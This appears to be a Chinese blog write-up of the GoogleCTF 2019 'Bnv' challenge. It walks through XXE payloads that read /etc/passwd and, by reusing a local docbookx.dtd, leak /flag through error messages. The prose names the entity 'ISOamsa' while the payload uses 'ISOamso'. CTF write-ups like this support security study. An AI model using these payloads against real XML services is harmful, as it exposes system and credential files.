携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第23天,点击查看活动详情
[GoogleCTF2019 Quals]Bnv
这里有一个题目正好是这个XXE
首先进行抓包
0X01.首先将文件格式从json改为xml 然后构造xml
0X02.回显发现没有DTD,就伪造一个DTD
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY b "13560136012350240140125">
]>
<message>&b;</message>
0X03. 加上name实体来加载内部文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message (#PCDATA)>
<!ENTITY b "13560136012350240140125">
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
<message>&b;</message>
报错:
internal error: xmlParseInternalSubset: error detected in Markup
declaration, line 1, column 1
文档类型声明包含或指向的标记声明必须格式正确 这意味着文件已经正确加载了,但由于它不是个格式良好的xml文件 所以它中断了。 如果我们尝试引用系统不存在的文件,会报错:
failed to load external entity “file:///xxxx”, line 6, column 10
所以可以试出flag在根目录
0X04. 读取flag
Linux设备可能在/usr/share/yelp/dtd/docbookx.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。
首先读/flag,第二次把/flag的里的值做实体来读取,因为/flag的里的值这个实体不存在,就会报错返回,得到flag。
像那篇文章里面写得
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaaaa/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
//因为我们要的是报错嘛,后面的文档部分有没有无所谓了